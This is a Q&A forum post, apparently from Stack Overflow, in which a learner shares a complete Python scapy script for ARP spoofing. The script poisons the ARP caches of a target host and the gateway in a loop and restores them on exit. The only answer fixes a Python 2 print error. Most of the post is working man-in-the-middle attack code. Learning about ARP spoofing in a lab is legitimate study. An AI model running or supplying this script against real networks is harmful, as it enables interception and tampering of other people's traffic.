-1

I am learning arp spoofing using kali Linux, when I run my code this what I get. How can I correct that error?enter image description here

Below is my code:

**#!/usr/bin/env python
import scapy.all as scapy
import time

target_ip = "10.0.2.16"
gateway_ip = "10.0.2.1"
def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r{+} Packets Send: " + str(sent_packets_count), end="")
        time.sleep(2)
except KeyboardInterrupt:
    print("\n{-} Detected CTRL + C... Resetting ARP tables ... Please wait.\n")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)**

1 Answers1

0

If you're on Python 2 make sure to add

from __future__ import print_function

at the top of your program. The print function of Python 2 does not support Python 3 features such as end=. See https://www.python.org/dev/peps/pep-3105/ for more infos

Cukic0d
  • 5,111
  • 2
  • 19
  • 48